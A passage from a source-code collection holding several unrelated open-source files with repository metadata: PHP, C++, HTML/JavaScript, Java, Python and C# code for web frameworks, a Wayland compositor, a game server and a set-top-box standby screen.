'command.policy.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.provider.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.failed-table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.batches-table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.request.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.resource.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.rule.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.seeder.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.session.table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.serve' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.stub.publish' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.test.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.vendor.publish' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'migrator' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'migration.repository' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'migration.creator' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.fresh' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.install' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.refresh' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.reset' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.rollback' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.status' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.migrate.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'composer' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'Illuminate\\Contracts\\Pipeline\\Hub' => 'Illuminate\\Pipeline\\PipelineServiceProvider',
'translator' => 'Illuminate\\Translation\\TranslationServiceProvider',
'translation.loader' => 'Illuminate\\Translation\\TranslationServiceProvider',
'validator' => 'Illuminate\\Validation\\ValidationServiceProvider',
'validation.presence' => 'Illuminate\\Validation\\ValidationServiceProvider',
),
'when' =>
array (
'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider' =>
array (
),
'Illuminate\\Pipeline\\PipelineServiceProvider' =>
array (
),
'Illuminate\\Translation\\TranslationServiceProvider' =>
array (
),
'Illuminate\\Validation\\ValidationServiceProvider' =>
array (
),
),
);
|
fhteam/laravel-validator
|
tests/laravel/bootstrap/cache/services.php
|
PHP
|
gpl-2.0
| 9,565
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: http://www.qt.io/licensing/
**
** This file is part of the QtWaylandCompositor module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL3$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see http://www.qt.io/terms-conditions. For further
** information use the contact form at http://www.qt.io/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 3 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPLv3 included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 3 requirements
** will be met: https://www.gnu.org/licenses/lgpl.html.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 2.0 or later as published by the Free
** Software Foundation and appearing in the file LICENSE.GPL included in
** the packaging of this file. Please review the following information to
** ensure the GNU General Public License version 2.0 requirements will be
** met: http://www.gnu.org/licenses/gpl-2.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qwaylandwlshellintegration_p.h"
#include <GreenIsland/QtWaylandCompositor/QWaylandCompositor>
#include <GreenIsland/QtWaylandCompositor/QWaylandWlShellSurface>
#include <GreenIsland/QtWaylandCompositor/QWaylandQuickShellSurfaceItem>
#include <GreenIsland/QtWaylandCompositor/QWaylandSeat>
QT_BEGIN_NAMESPACE
namespace QtWayland {
WlShellIntegration::WlShellIntegration(QWaylandQuickShellSurfaceItem *item)
: QWaylandQuickShellIntegration(item)
, m_item(item)
, m_shellSurface(qobject_cast<QWaylandWlShellSurface *>(item->shellSurface()))
, grabberState(GrabberState::Default)
, isMaximized(false)
, isFullScreen(false)
, isPopup(false)
{
m_item->setSurface(m_shellSurface->surface());
connect(m_shellSurface, &QWaylandWlShellSurface::startMove, this, &WlShellIntegration::handleStartMove);
connect(m_shellSurface, &QWaylandWlShellSurface::startResize, this, &WlShellIntegration::handleStartResize);
connect(m_shellSurface->surface(), &QWaylandSurface::redraw, this, &WlShellIntegration::redraw);
connect(m_shellSurface->surface(), &QWaylandSurface::offsetForNextFrame, this, &WlShellIntegration::adjustOffsetForNextFrame);
connect(m_shellSurface, &QWaylandWlShellSurface::setDefaultToplevel, this, &WlShellIntegration::handleSetDefaultTopLevel);
connect(m_shellSurface, &QWaylandWlShellSurface::setTransient, this, &WlShellIntegration::handleSetTransient);
connect(m_shellSurface, &QWaylandWlShellSurface::setMaximized, this, &WlShellIntegration::handleSetMaximized);
connect(m_shellSurface, &QWaylandWlShellSurface::setFullScreen, this, &WlShellIntegration::handleSetFullScreen);
connect(m_shellSurface, &QWaylandWlShellSurface::setPopup, this, &WlShellIntegration::handleSetPopup);
connect(m_shellSurface, &QWaylandWlShellSurface::destroyed, this, &WlShellIntegration::handleShellSurfaceDestroyed);
}
void WlShellIntegration::handleStartMove(QWaylandSeat *seat)
{
grabberState = GrabberState::Move;
moveState.seat = seat;
moveState.initialized = false;
}
void WlShellIntegration::handleStartResize(QWaylandSeat *seat, QWaylandWlShellSurface::ResizeEdge edges)
{
grabberState = GrabberState::Resize;
resizeState.seat = seat;
resizeState.resizeEdges = edges;
float scaleFactor = m_item->view()->output()->scaleFactor();
resizeState.initialSize = m_shellSurface->surface()->size() / scaleFactor;
resizeState.initialized = false;
}
void WlShellIntegration::handleSetDefaultTopLevel()
{
if (isMaximized) {
m_item->moveItem()->setPosition(maximizedState.initialPosition);
isMaximized = false;
}
if (isFullScreen) {
m_item->moveItem()->setPosition(fullScreenState.initialPosition);
isFullScreen = false;
}
if (m_shellSurface->shell()->focusPolicy() == QWaylandShell::AutomaticFocus)
m_item->takeFocus();
}
void WlShellIntegration::handleSetTransient(QWaylandSurface *parentSurface, const QPoint &relativeToParent, bool inactive)
{
Q_UNUSED(parentSurface)
Q_UNUSED(relativeToParent)
if (m_shellSurface->shell()->focusPolicy() == QWaylandShell::AutomaticFocus && !inactive)
m_item->takeFocus();
}
void WlShellIntegration::handleSetMaximized(QWaylandOutput *output)
{
if (isMaximized)
return;
QWaylandOutput *designatedOutput = output ? output : m_item->findOutput();
if (!designatedOutput)
return;
maximizedState.initialPosition = m_item->moveItem()->position();
maximizedState.finalPosition = designatedOutput->position() + designatedOutput->availableGeometry().topLeft();
isMaximized = true;
auto scaleFactor = m_item->view()->output()->scaleFactor();
m_shellSurface->sendConfigure(designatedOutput->availableGeometry().size() / scaleFactor, QWaylandWlShellSurface::NoneEdge);
}
void WlShellIntegration::handleSetFullScreen(QWaylandWlShellSurface::FullScreenMethod method, uint framerate, QWaylandOutput *output)
{
Q_UNUSED(method);
Q_UNUSED(framerate);
if (isFullScreen)
return;
QWaylandOutput *designatedOutput = output ? output : m_item->findOutput();
if (!designatedOutput)
return;
fullScreenState.initialPosition = m_item->moveItem()->position();
fullScreenState.finalPosition = designatedOutput->position();
isFullScreen = true;
m_shellSurface->sendConfigure(designatedOutput->geometry().size(), QWaylandWlShellSurface::NoneEdge);
}
void WlShellIntegration::handleSetPopup(QWaylandSeat *seat, QWaylandSurface *parent, const QPoint &relativeToParent)
{
Q_UNUSED(seat);
// Find the parent item on the same output
QWaylandQuickShellSurfaceItem *parentItem = nullptr;
Q_FOREACH (QWaylandView *view, parent->views()) {
if (view->output() == m_item->view()->output()) {
QWaylandQuickShellSurfaceItem *item = qobject_cast<QWaylandQuickShellSurfaceItem*>(view->renderObject());
if (item) {
parentItem = item;
break;
}
}
}
if (parentItem) {
// Clear all the transforms for this ShellSurfaceItem. They are not
// applicable when the item becomes a child to a surface that has its
// own transforms. Otherwise the transforms would be applied twice.
QQmlListProperty<QQuickTransform> t = m_item->transform();
t.clear(&t);
m_item->setRotation(0);
m_item->setScale(1.0);
auto scaleFactor = m_item->view()->output()->scaleFactor() / devicePixelRatio();
m_item->setX(relativeToParent.x() * scaleFactor);
m_item->setY(relativeToParent.y() * scaleFactor);
m_item->setParentItem(parentItem);
}
isPopup = true;
QWaylandQuickShellEventFilter::startFilter(m_shellSurface->surface()->client(), &closePopups);
if (!popupShellSurfaces.contains(m_shellSurface)) {
popupShellSurfaces.append(m_shellSurface);
QObject::connect(m_shellSurface->surface(), &QWaylandSurface::mappedChanged,
this, &WlShellIntegration::handleSurfaceUnmapped);
}
}
void WlShellIntegration::handlePopupClosed()
{
handlePopupRemoved();
if (m_shellSurface)
QObject::disconnect(m_shellSurface->surface(), &QWaylandSurface::mappedChanged,
this, &WlShellIntegration::handleSurfaceUnmapped);
}
void WlShellIntegration::handlePopupRemoved()
{
if (m_shellSurface)
popupShellSurfaces.removeOne(m_shellSurface);
if (popupShellSurfaces.isEmpty())
QWaylandQuickShellEventFilter::cancelFilter();
isPopup = false;
}
void WlShellIntegration::handleShellSurfaceDestroyed()
{
if (isPopup)
handlePopupRemoved();
m_shellSurface = nullptr;
}
void WlShellIntegration::handleSurfaceUnmapped()
{
if (!m_shellSurface || !m_shellSurface->surface()->size().isEmpty())
return;
handlePopupClosed();
}
void WlShellIntegration::redraw()
{
if (isMaximized)
m_item->moveItem()->setPosition(maximizedState.finalPosition);
else if (isFullScreen)
m_item->moveItem()->setPosition(fullScreenState.finalPosition);
}
void WlShellIntegration::adjustOffsetForNextFrame(const QPointF &offset)
{
float scaleFactor = m_item->view()->output()->scaleFactor();
QQuickItem *moveItem = m_item->moveItem();
moveItem->setPosition(moveItem->position() + offset * scaleFactor / devicePixelRatio());
}
bool WlShellIntegration::mouseMoveEvent(QMouseEvent *event)
{
if (grabberState == GrabberState::Resize) {
Q_ASSERT(resizeState.seat == m_item->compositor()->seatFor(event));
if (!resizeState.initialized) {
resizeState.initialMousePos = event->windowPos();
resizeState.initialized = true;
return true;
}
float scaleFactor = m_item->view()->output()->scaleFactor();
QPointF delta = (event->windowPos() - resizeState.initialMousePos) / scaleFactor * devicePixelRatio();
QSize newSize = m_shellSurface->sizeForResize(resizeState.initialSize, delta, resizeState.resizeEdges);
m_shellSurface->sendConfigure(newSize, resizeState.resizeEdges);
} else if (grabberState == GrabberState::Move) {
Q_ASSERT(moveState.seat == m_item->compositor()->seatFor(event));
QQuickItem *moveItem = m_item->moveItem();
if (!moveState.initialized) {
moveState.initialOffset = moveItem->mapFromItem(nullptr, event->windowPos());
moveState.initialized = true;
return true;
}
if (!moveItem->parentItem())
return true;
QPointF parentPos = moveItem->parentItem()->mapFromItem(nullptr, event->windowPos());
moveItem->setPosition(parentPos - moveState.initialOffset);
}
return false;
}
bool WlShellIntegration::mouseReleaseEvent(QMouseEvent *event)
{
Q_UNUSED(event);
if (grabberState != GrabberState::Default) {
grabberState = GrabberState::Default;
return true;
}
return false;
}
QVector<QWaylandWlShellSurface*> WlShellIntegration::popupShellSurfaces;
void WlShellIntegration::closePopups()
{
if (!popupShellSurfaces.isEmpty()) {
Q_FOREACH (QWaylandWlShellSurface* shellSurface, popupShellSurfaces) {
shellSurface->sendPopupDone();
}
popupShellSurfaces.clear();
}
}
qreal WlShellIntegration::devicePixelRatio() const
{
return m_item->window() ? m_item->window()->devicePixelRatio() : 1;
}
}
QT_END_NAMESPACE
|
greenisland/greenisland
|
src/waylandcompositor/extensions/qwaylandwlshellintegration.cpp
|
C++
|
gpl-2.0
| 11,230
|
<script>
var geoNamesModule = {{ 'true' if geonames_module else 'false' }};
var geoNamesUsername = '{{ session.settings.geonames_username }}';
var gisPointAll = {{ gis_data.gisPointAll|safe }};
var gisPointSupers = {{ gis_data.gisPointSupers|safe }};
var gisPointSubs = {{ gis_data.gisPointSubs|safe }};
var gisPointSibling = {{ gis_data.gisPointSibling|safe }};
var gisPointSelected = {{ gis_data.gisPointSelected|safe }};
var gisLineAll = {{ gis_data.gisLineAll|safe }};
var gisLineSelected = {{ gis_data.gisLineSelected|safe }};
var gisPolygonAll = {{ gis_data.gisPolygonAll|safe }};
var gisPolygonSelected = {{ gis_data.gisPolygonSelected|safe }};
var gisPolygonPointSelected = {{ gis_data.gisPolygonPointSelected|safe }};
var gisAllSelected = {{ gis_data.gisAllSelected|safe }};
var jsonSearch = [];
var translate = [];
var mapMaxZoom = {{ current_user.settings.map_zoom_max }}
var mapDefaultZoom = {{ current_user.settings.map_zoom_default }}
var map_update_mode = false; // enables e.g. edit buttons in popup ups if true
var maxClusterRadius = {{ session.settings.map_cluster_max_radius }};
var disableClusteringAtZoom = {{ session.settings.map_cluster_disable_at_zoom }};
translate.save = '{{ _('save')|uc_first|safe }}';
translate.edit = '{{ _('edit')|uc_first|safe }}';
translate.delete = '{{ _('delete')|uc_first|safe }}';
translate.details = '{{ _('details')|uc_first|safe }}';
translate.import = '{{ _('import')|uc_first|safe }}';
translate.map_clear = '{{ _('map_clear')|uc_first|safe }}';
translate.map_info_reedit = '{{ _('map_info_reedit')|uc_first|safe }}';
translate.map_info_shape = '{{ _('map_info_shape')|uc_first|safe }}';
translate.map_info_area = '{{ _('map_info_area')|uc_first|safe }}';
translate.map_info_centerpoint = '{{ _('map_info_point')|uc_first|safe }}';
translate.map_info_linestring = '{{ _('map_info_linestring')|uc_first|safe }}';
translate.map_info_close = '{{ _('map_info_close')|uc_first|safe }}';
translate.map_info_description = '{{ _('map_info_description')|safe }}';
translate.map_geonames_title = '{{ _('Search by location name or postcode')|safe }}';
translate.map_geonames_placeholder = '{{ _('Enter a location name')|safe }}';
overlays = [];
{% if current_user.settings.module_map_overlay and overlays is defined and overlays and overlays|length %}
overlays = [
{% for image_id, overlay in overlays.items() %}
{
name: '{{ overlay.name }}',
image: '{{ overlay.image_name }}',
boundingBox: {{ overlay.bounding_box }}
},
{% endfor %}
];
{% endif %}
</script>
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/leaflet.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/fullscreen/leaflet.fullscreen.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/Geonames-0.4.7/L.Control.Geonames.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/usermarker-1.0/leaflet.usermarker.css">
<link rel="stylesheet" href="/static/node_modules/@fortawesome/fontawesome-free/css/fontawesome.min.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/markercluster-1.4.1/MarkerCluster.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/markercluster-1.4.1/MarkerCluster.Default.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/zoomdisplay/leaflet.zoomdisplay.css">
<link rel="stylesheet" href="/static/css/map.css">
<link rel="stylesheet" href="/static/vendor/leaflet-1.3.4/leaflet-groupedlayercontrol-gh-pages/dist/leaflet.groupedlayercontrol.min.css">
<script src="/static/vendor/leaflet-1.3.4/leaflet.js"></script>
<script src="/static/node_modules/@fortawesome/fontawesome-free/js/all.min.js"></script>
<script src="/static/vendor/leaflet-1.3.4/zoomdisplay/leaflet.zoomdisplay.js"></script>
<script src="/static/vendor/leaflet-1.3.4/fullscreen/Leaflet.fullscreen.min.js"></script>
<!-- Using modified version of leaflet-geonames for result list hack -->
<script src="/static/vendor/leaflet-1.3.4/Geonames-0.4.7/L.Control.Geonames.js"></script>
<script src="/static/vendor/leaflet-1.3.4/markercluster-1.4.1/leaflet.markercluster.js"></script>
<script src="/static/vendor/leaflet-1.3.4/usermarker-1.0/leaflet.usermarker.js"></script>
<script src="/static/vendor/leaflet-1.3.4/leaflet-groupedlayercontrol-gh-pages/dist/leaflet.groupedlayercontrol.min.js"></script>
<script src="/static/node_modules/leaflet-imageoverlay-rotated/Leaflet.ImageOverlay.Rotated.js"></script>
|
craws/OpenAtlas-Python
|
openatlas/templates/map.html
|
HTML
|
gpl-2.0
| 4,825
|
COMPONENT=GardenSensorAppC
CFLAGS += -DTOSH_DATA_LENGTH=64
include $(MAKERULES)
|
johnmurrayvi/ECE455-Project
|
Motes/GardenSensor/Makefile
|
Makefile
|
gpl-2.0
| 81
|
package com.example.test2;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class Demo2Activity extends Activity {
int state=0;
Button btn;
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.demo2);
ActivityBroadcast receiver =new ActivityBroadcast();
IntentFilter filter=new IntentFilter("activityreceive");
registerReceiver(receiver, filter);
Intent service=new Intent("");
startService(service);
btn=(Button)findViewById(R.id.btn);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
switch(state){
case 0:
Intent intent=new Intent("test");
intent.putExtra("state", state);
sendBroadcast(intent);
state=1;
break;
}
}
});
}
public class ActivityBroadcast extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
state=intent.getIntExtra("state", -1);
switch(state){
case 1:
btn.setText("stop");
break;
case 0:
btn.setText("start");
break;
}
}
}
}
|
handsscstaff/Test
|
src/com/example/test2/Demo2Activity.java
|
Java
|
gpl-2.0
| 1,442
|
<?php
/**
* The template for displaying all pages
*
* This is the template that displays all pages by default.
* Please note that this is the WordPress construct of pages
* and that other 'pages' on your WordPress site may use a
* different template.
*
* @link https://codex.wordpress.org/Template_Hierarchy
*
* @package haventomorrow
*/
get_header(); ?>
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<?php
while ( have_posts() ) : the_post();
get_template_part( 'template-parts/content', 'page' );
// If comments are open or we have at least one comment, load up the comment template.
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
endwhile; // End of the loop.
?>
</main><!-- #main -->
</div><!-- #primary -->
<?php
get_sidebar();
get_footer();
|
stephenhaven/haventomorrow
|
page.php
|
PHP
|
gpl-2.0
| 877
|
NAME = 'django-adminactions'
VERSION = __version__ = (0, 4, 0, 'final', 0)
__author__ = 'sax'
import subprocess
import datetime
import os
def get_version(version=None):
"""Derives a PEP386-compliant version number from VERSION."""
if version is None:
version = VERSION
assert len(version) == 5
assert version[3] in ('alpha', 'beta', 'rc', 'final')
parts = 2 if version[2] == 0 else 3
main = '.'.join(str(x) for x in version[:parts])
sub = ''
if version[3] == 'alpha' and version[4] == 0:
git_changeset = get_git_changeset()
if git_changeset:
sub = '.a%s' % git_changeset
elif version[3] != 'final':
mapping = {'alpha': 'a', 'beta': 'b', 'rc': 'c'}
sub = mapping[version[3]] + str(version[4])
return main + sub
def get_git_changeset():
"""Returns a numeric identifier of the latest git changeset.
The result is the UTC timestamp of the changeset in YYYYMMDDHHMMSS format.
This value isn't guaranteed to be unique, but collisions are very unlikely,
so it's sufficient for generating the development version numbers.
"""
repo_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
git_log = subprocess.Popen('git log --pretty=format:%ct --quiet -1 HEAD',
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
shell=True, cwd=repo_dir, universal_newlines=True)
timestamp = git_log.communicate()[0]
try:
timestamp = datetime.datetime.utcfromtimestamp(int(timestamp))
except ValueError:
return None
return timestamp.strftime('%Y%m%d%H%M%S')
|
updatengine/updatengine-server
|
adminactions/__init__.py
|
Python
|
gpl-2.0
| 1,648
|
#region Header
// Vorspire _,-'/-'/ ScreenEffect.cs
// . __,-; ,'( '/
// \. `-.__`-._`:_,-._ _ , . ``
// `:-._,------' ` _,`--` -: `_ , ` ,' :
// `---..__,,--' (C) 2018 ` -'. -'
// # Vita-Nex [http://core.vita-nex.com] #
// {o)xxx|===============- # -===============|xxx(o}
// # The MIT License (MIT) #
#endregion
#region References
using Server;
using Server.Network;
#endregion
namespace VitaNex.Network
{
public enum ScreenFX
{
FadeOut = 0x00,
FadeIn = 0x01,
LightFlash = 0x02,
FadeInOut = 0x03,
DarkFlash = 0x04
}
public static class ScreenEffects
{
public static void Send(this ScreenFX effect, Mobile to)
{
if (to == null)
{
return;
}
switch (effect)
{
case ScreenFX.FadeOut:
to.Send(VNScreenFadeOut.Instance);
break;
case ScreenFX.FadeIn:
to.Send(VNScreenFadeIn.Instance);
break;
case ScreenFX.LightFlash:
to.Send(VNScreenLightFlash.Instance);
break;
case ScreenFX.FadeInOut:
to.Send(VNScreenFadeInOut.Instance);
break;
case ScreenFX.DarkFlash:
to.Send(VNScreenDarkFlash.Instance);
break;
}
}
}
public class VNScreenEffect : Packet
{
public VNScreenEffect(ScreenEffectType type)
: base(0x70, 28)
{
m_Stream.Write((byte)0x04);
m_Stream.Fill(8);
m_Stream.Write((short)type);
m_Stream.Fill(16);
}
}
public sealed class VNScreenFadeOut : VNScreenEffect
{
public static readonly Packet Instance = SetStatic(new VNScreenFadeOut());
public VNScreenFadeOut()
: base(ScreenEffectType.FadeOut)
{ }
}
public sealed class VNScreenFadeIn : VNScreenEffect
{
public static readonly Packet Instance = SetStatic(new VNScreenFadeIn());
public VNScreenFadeIn()
: base(ScreenEffectType.FadeIn)
{ }
}
public sealed class VNScreenFadeInOut : VNScreenEffect
{
public static readonly Packet Instance = SetStatic(new VNScreenFadeInOut());
public VNScreenFadeInOut()
: base(ScreenEffectType.FadeInOut)
{ }
}
public sealed class VNScreenLightFlash : VNScreenEffect
{
public static readonly Packet Instance = SetStatic(new VNScreenLightFlash());
public VNScreenLightFlash()
: base(ScreenEffectType.LightFlash)
{ }
}
public sealed class VNScreenDarkFlash : VNScreenEffect
{
public static readonly Packet Instance = SetStatic(new VNScreenDarkFlash());
public VNScreenDarkFlash()
: base(ScreenEffectType.DarkFlash)
{ }
}
}
|
A2152225/ServUO
|
Scripts/Custom/VitaNex Core/Network/Packets/ScreenEffect.cs
|
C#
|
gpl-2.0
| 2,489
|
import os
import RecordTimer
import Components.ParentalControl
from Screens.Screen import Screen
from Screens.MessageBox import MessageBox
from Components.ActionMap import ActionMap
from Components.config import config
from Components.AVSwitch import AVSwitch
from Components.Console import Console
from Components.ImportChannels import ImportChannels
from Components.SystemInfo import SystemInfo
from Components.Sources.StreamService import StreamServiceList
from Components.Task import job_manager
from Tools.Directories import mediafilesInUse
from Tools import Notifications
from time import time, localtime
from GlobalActions import globalActionMap
from enigma import eDVBVolumecontrol, eTimer, eDVBLocalTimeHandler, eServiceReference, eStreamServer, quitMainloop, iRecordableService
inStandby = None
infoBarInstance = None
QUIT_SHUTDOWN = 1
QUIT_REBOOT = 2
QUIT_RESTART = 3
QUIT_UPGRADE_FP = 4
QUIT_ERROR_RESTART = 5
QUIT_DEBUG_RESTART = 6
QUIT_MANUFACTURER_RESET = 7
QUIT_MAINT = 16
QUIT_UPGRADE_PROGRAM = 42
QUIT_IMAGE_RESTORE = 43
def isInfoBarInstance():
global infoBarInstance
if infoBarInstance is None:
from Screens.InfoBar import InfoBar
if InfoBar.instance:
infoBarInstance = InfoBar.instance
return infoBarInstance
def checkTimeshiftRunning():
infobar_instance = isInfoBarInstance()
return config.usage.check_timeshift.value and infobar_instance and infobar_instance.timeshiftEnabled() and infobar_instance.timeshift_was_activated
class StandbyScreen(Screen):
def __init__(self, session, StandbyCounterIncrease=True):
self.skinName = "Standby"
Screen.__init__(self, session)
self.avswitch = AVSwitch()
print "[Standby] enter standby"
if os.path.exists("/usr/script/standby_enter.sh"):
Console().ePopen("/usr/script/standby_enter.sh")
self["actions"] = ActionMap(["StandbyActions"],
{
"power": self.Power,
"discrete_on": self.Power
}, -1)
globalActionMap.setEnabled(False)
self.infoBarInstance = isInfoBarInstance()
from Screens.SleepTimerEdit import isNextWakeupTime
self.StandbyCounterIncrease = StandbyCounterIncrease
self.standbyTimeoutTimer = eTimer()
self.standbyTimeoutTimer.callback.append(self.standbyTimeout)
self.standbyStopServiceTimer = eTimer()
self.standbyStopServiceTimer.callback.append(self.stopService)
self.standbyWakeupTimer = eTimer()
self.standbyWakeupTimer.callback.append(self.standbyWakeup)
self.timeHandler = None
self.setMute()
self.paused_service = self.paused_action = False
self.prev_running_service = self.session.nav.getCurrentlyPlayingServiceOrGroup()
if Components.ParentalControl.parentalControl.isProtected(self.prev_running_service):
self.prev_running_service = eServiceReference(config.tv.lastservice.value)
service = self.prev_running_service and self.prev_running_service.toString()
if service:
if service.rsplit(":", 1)[1].startswith("/"):
self.paused_service = hasattr(self.session.current_dialog, "pauseService") and hasattr(self.session.current_dialog, "unPauseService") and self.session.current_dialog or self.infoBarInstance
self.paused_action = hasattr(self.paused_service, "seekstate") and hasattr(self.paused_service, "SEEK_STATE_PLAY") and self.paused_service.seekstate == self.paused_service.SEEK_STATE_PLAY
self.paused_action and self.paused_service.pauseService()
if not self.paused_service:
self.timeHandler = eDVBLocalTimeHandler.getInstance()
if self.timeHandler.ready():
if self.session.nav.getCurrentlyPlayingServiceOrGroup():
self.stopService()
else:
self.standbyStopServiceTimer.startLongTimer(5)
self.timeHandler = None
else:
self.timeHandler.m_timeUpdated.get().append(self.stopService)
if self.session.pipshown:
self.infoBarInstance and hasattr(self.infoBarInstance, "showPiP") and self.infoBarInstance.showPiP()
if SystemInfo["ScartSwitch"]:
self.avswitch.setInput("SCART")
else:
self.avswitch.setInput("AUX")
gotoShutdownTime = int(config.usage.standby_to_shutdown_timer.value)
if gotoShutdownTime:
self.standbyTimeoutTimer.startLongTimer(gotoShutdownTime)
if self.StandbyCounterIncrease is not 1:
gotoWakeupTime = isNextWakeupTime(True)
if gotoWakeupTime != -1:
curtime = localtime(time())
if curtime.tm_year > 1970:
wakeup_time = int(gotoWakeupTime - time())
if wakeup_time > 0:
self.standbyWakeupTimer.startLongTimer(wakeup_time)
self.onFirstExecBegin.append(self.__onFirstExecBegin)
self.onClose.append(self.__onClose)
def __onClose(self):
global inStandby
inStandby = None
self.standbyTimeoutTimer.stop()
self.standbyStopServiceTimer.stop()
self.standbyWakeupTimer.stop()
self.timeHandler and self.timeHandler.m_timeUpdated.get().remove(self.stopService)
if self.paused_service:
self.paused_action and self.paused_service.unPauseService()
elif self.prev_running_service:
service = self.prev_running_service.toString()
if config.servicelist.startupservice_onstandby.value:
self.session.nav.playService(eServiceReference(config.servicelist.startupservice.value))
self.infoBarInstance and self.infoBarInstance.servicelist.correctChannelNumber()
else:
self.session.nav.playService(self.prev_running_service)
self.session.screen["Standby"].boolean = False
globalActionMap.setEnabled(True)
if RecordTimer.RecordTimerEntry.receiveRecordEvents:
RecordTimer.RecordTimerEntry.stopTryQuitMainloop()
self.avswitch.setInput("ENCODER")
self.leaveMute()
if os.path.exists("/usr/script/standby_leave.sh"):
Console().ePopen("/usr/script/standby_leave.sh")
if config.usage.remote_fallback_import_standby.value:
ImportChannels()
def __onFirstExecBegin(self):
global inStandby
inStandby = self
self.session.screen["Standby"].boolean = True
if self.StandbyCounterIncrease:
config.misc.standbyCounter.value += 1
def Power(self):
print "[Standby] leave standby"
self.close(True)
def setMute(self):
self.wasMuted = eDVBVolumecontrol.getInstance().isMuted()
if not self.wasMuted:
eDVBVolumecontrol.getInstance().volumeMute()
def leaveMute(self):
if not self.wasMuted:
eDVBVolumecontrol.getInstance().volumeUnMute()
def stopService(self):
self.prev_running_service = self.session.nav.getCurrentlyPlayingServiceOrGroup()
if Components.ParentalControl.parentalControl.isProtected(self.prev_running_service):
self.prev_running_service = eServiceReference(config.tv.lastservice.value)
self.session.nav.stopService()
def standbyTimeout(self):
if config.usage.standby_to_shutdown_timer_blocktime.value:
curtime = localtime(time())
if curtime.tm_year > 1970: #check if the current time is valid
curtime = (curtime.tm_hour, curtime.tm_min, curtime.tm_sec)
begintime = tuple(config.usage.standby_to_shutdown_timer_blocktime_begin.value)
endtime = tuple(config.usage.standby_to_shutdown_timer_blocktime_end.value)
if begintime <= endtime and (curtime >= begintime and curtime < endtime) or begintime > endtime and (curtime >= begintime or curtime < endtime):
duration = (endtime[0] * 3600 + endtime[1] * 60) - (curtime[0] * 3600 + curtime[1] * 60 + curtime[2])
if duration:
if duration < 0:
duration += 24 * 3600
self.standbyTimeoutTimer.startLongTimer(duration)
return
if self.session.screen["TunerInfo"].tuner_use_mask or mediafilesInUse(self.session):
self.standbyTimeoutTimer.startLongTimer(600)
else:
RecordTimer.RecordTimerEntry.TryQuitMainloop()
def standbyWakeup(self):
self.Power()
def createSummary(self):
return StandbySummary
class Standby(StandbyScreen):
def __init__(self, session, StandbyCounterIncrease=True):
if checkTimeshiftRunning():
self.skin = """<screen position="0,0" size="0,0"/>"""
Screen.__init__(self, session)
self.infoBarInstance = isInfoBarInstance()
self.StandbyCounterIncrease = StandbyCounterIncrease
self.onFirstExecBegin.append(self.showCheckTimeshiftRunning)
self.onHide.append(self.close)
else:
StandbyScreen.__init__(self, session, StandbyCounterIncrease)
